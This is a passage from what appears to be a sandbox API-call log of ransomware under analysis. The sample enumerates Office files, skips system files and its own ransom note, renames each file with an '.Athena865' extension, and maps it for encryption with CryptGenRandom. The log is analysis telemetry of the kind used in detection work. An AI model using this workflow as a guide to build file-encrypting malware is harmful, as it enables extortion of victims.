(HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.456] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.456] CloseHandle (hObject=0x17c) returned 1 [0145.456] CloseHandle (hObject=0x154) returned 1 [0145.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.457] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POWERPNT.DEV_COL.HXT", cAlternateFileName="POWERP~1.HXT")) returned 1 [0145.457] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.457] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.457] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2=".") returned 1 [0145.457] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2="..") returned 1 [0145.457] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2="windows") returned -1 [0145.457] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2="bootmgr") returned 1 [0145.457] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2="temp") returned -1 [0145.457] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2="pagefile.sys") returned 1 [0145.457] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2="boot") returned 1 [0145.457] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2="ids.txt") returned 1 [0145.457] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2="ntuser.dat") returned 1 [0145.457] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2="perflogs") returned 1 [0145.457] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2="MSBuild") returned 1 [0145.457] lstrlenW (lpString="POWERPNT.DEV_COL.HXT") returned 20 [0145.457] lstrcpyW (in: lpString1=0x241e8a8, lpString2="POWERPNT.DEV_COL.HXT" | out: lpString1="POWERPNT.DEV_COL.HXT") returned="POWERPNT.DEV_COL.HXT" [0145.457] lstrlenW (lpString="POWERPNT.DEV_COL.HXT") returned 20 [0145.457] lstrlenW (lpString="Athena865") returned 9 [0145.457] lstrcmpiW (lpString1="V_COL.HXT", lpString2="Athena865") returned 1 [0145.457] lstrlenW (lpString=".dll") returned 4 [0145.457] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2=".dll") returned 1 [0145.457] lstrlenW (lpString=".lnk") returned 4 [0145.458] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2=".lnk") returned 1 [0145.458] lstrlenW (lpString=".ini") returned 4 [0145.458] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2=".ini") returned 1 [0145.458] lstrlenW (lpString=".sys") returned 4 [0145.458] lstrcmpiW (lpString1="POWERPNT.DEV_COL.HXT", lpString2=".sys") returned 1 [0145.458] lstrlenW (lpString="POWERPNT.DEV_COL.HXT") returned 20 [0145.458] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.Athena865") returned 78 [0145.458] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt.athena865"), dwFlags=0x1) returned 1 [0145.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.460] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=212) returned 1 [0145.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.460] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.461] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.461] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.461] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x17c [0145.463] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0145.464] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.464] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.464] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.465] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.465] CloseHandle (hObject=0x17c) returned 1 [0145.465] CloseHandle (hObject=0x154) returned 1 [0145.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.465] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POWERPNT.DEV_F_COL.HXK", cAlternateFileName="POWERP~1.HXK")) returned 1 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2=".") returned 1 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2="..") returned 1 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2="windows") returned -1 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2="bootmgr") returned 1 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2="temp") returned -1 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2="pagefile.sys") returned 1 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2="boot") returned 1 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2="ids.txt") returned 1 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2="ntuser.dat") returned 1 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2="perflogs") returned 1 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2="MSBuild") returned 1 [0145.466] lstrlenW (lpString="POWERPNT.DEV_F_COL.HXK") returned 22 [0145.466] lstrcpyW (in: lpString1=0x241e8a8, lpString2="POWERPNT.DEV_F_COL.HXK" | out: lpString1="POWERPNT.DEV_F_COL.HXK") returned="POWERPNT.DEV_F_COL.HXK" [0145.466] lstrlenW (lpString="POWERPNT.DEV_F_COL.HXK") returned 22 [0145.466] lstrlenW (lpString="Athena865") returned 9 [0145.466] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0145.466] lstrlenW (lpString=".dll") returned 4 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2=".dll") returned 1 [0145.466] lstrlenW (lpString=".lnk") returned 4 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2=".lnk") returned 1 [0145.466] lstrlenW (lpString=".ini") returned 4 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2=".ini") returned 1 [0145.466] lstrlenW (lpString=".sys") returned 4 [0145.466] lstrcmpiW (lpString1="POWERPNT.DEV_F_COL.HXK", lpString2=".sys") returned 1 [0145.466] lstrlenW (lpString="POWERPNT.DEV_F_COL.HXK") returned 22 [0145.467] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.Athena865") returned 80 [0145.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0145.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.468] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0145.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.469] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.469] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.469] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.470] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0145.472] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0145.473] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.473] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.474] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.474] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.476] CloseHandle (hObject=0x17c) returned 1 [0145.476] CloseHandle (hObject=0x154) returned 1 [0145.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.476] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POWERPNT.DEV_K_COL.HXK", cAlternateFileName="POWERP~2.HXK")) returned 1 [0145.476] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.476] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.477] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2=".") returned 1 [0145.477] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2="..") returned 1 [0145.477] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2="windows") returned -1 [0145.477] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2="bootmgr") returned 1 [0145.477] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2="temp") returned -1 [0145.477] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2="pagefile.sys") returned 1 [0145.477] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2="boot") returned 1 [0145.477] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2="ids.txt") returned 1 [0145.477] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2="ntuser.dat") returned 1 [0145.477] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2="perflogs") returned 1 [0145.477] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2="MSBuild") returned 1 [0145.477] lstrlenW (lpString="POWERPNT.DEV_K_COL.HXK") returned 22 [0145.477] lstrcpyW (in: lpString1=0x241e8a8, lpString2="POWERPNT.DEV_K_COL.HXK" | out: lpString1="POWERPNT.DEV_K_COL.HXK") returned="POWERPNT.DEV_K_COL.HXK" [0145.477] lstrlenW (lpString="POWERPNT.DEV_K_COL.HXK") returned 22 [0145.477] lstrlenW (lpString="Athena865") returned 9 [0145.477] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0145.477] lstrlenW (lpString=".dll") returned 4 [0145.477] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2=".dll") returned 1 [0145.477] lstrlenW (lpString=".lnk") returned 4 [0145.477] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2=".lnk") returned 1 [0145.477] lstrlenW (lpString=".ini") returned 4 [0145.477] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2=".ini") returned 1 [0145.477] lstrlenW (lpString=".sys") returned 4 [0145.477] lstrcmpiW (lpString1="POWERPNT.DEV_K_COL.HXK", lpString2=".sys") returned 1 [0145.477] lstrlenW (lpString="POWERPNT.DEV_K_COL.HXK") returned 22 [0145.477] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.Athena865") returned 80 [0145.477] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0145.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.479] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0145.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.480] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.480] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.480] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.480] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0145.483] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0145.483] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.484] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.484] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.485] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.485] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.485] CloseHandle (hObject=0x17c) returned 1 [0145.485] CloseHandle (hObject=0x154) returned 1 [0145.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.485] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe02ac500, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe02ac500, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x68013d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POWERPNT.HXS", cAlternateFileName="")) returned 1 [0145.485] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.485] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.486] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2=".") returned 1 [0145.486] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2="..") returned 1 [0145.486] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2="windows") returned -1 [0145.486] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2="bootmgr") returned 1 [0145.486] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2="temp") returned -1 [0145.486] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2="pagefile.sys") returned 1 [0145.486] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2="boot") returned 1 [0145.486] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2="ids.txt") returned 1 [0145.486] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2="ntuser.dat") returned 1 [0145.486] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2="perflogs") returned 1 [0145.486] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2="MSBuild") returned 1 [0145.486] lstrlenW (lpString="POWERPNT.HXS") returned 12 [0145.486] lstrcpyW (in: lpString1=0x241e8a8, lpString2="POWERPNT.HXS" | out: lpString1="POWERPNT.HXS") returned="POWERPNT.HXS" [0145.486] lstrlenW (lpString="POWERPNT.HXS") returned 12 [0145.486] lstrlenW (lpString="Athena865") returned 9 [0145.486] lstrcmpiW (lpString1="ERPNT.HXS", lpString2="Athena865") returned 1 [0145.486] lstrlenW (lpString=".dll") returned 4 [0145.486] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2=".dll") returned 1 [0145.486] lstrlenW (lpString=".lnk") returned 4 [0145.486] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2=".lnk") returned 1 [0145.486] lstrlenW (lpString=".ini") returned 4 [0145.486] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2=".ini") returned 1 [0145.486] lstrlenW (lpString=".sys") returned 4 [0145.486] lstrcmpiW (lpString1="POWERPNT.HXS", lpString2=".sys") returned 1 [0145.486] lstrlenW (lpString="POWERPNT.HXS") returned 12 [0145.486] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.Athena865") returned 70 [0145.487] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.athena865"), dwFlags=0x1) returned 1 [0145.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.489] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6816061) returned 1 [0145.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.490] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.491] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.491] CryptReleaseContext (hProv=0x54eee0, 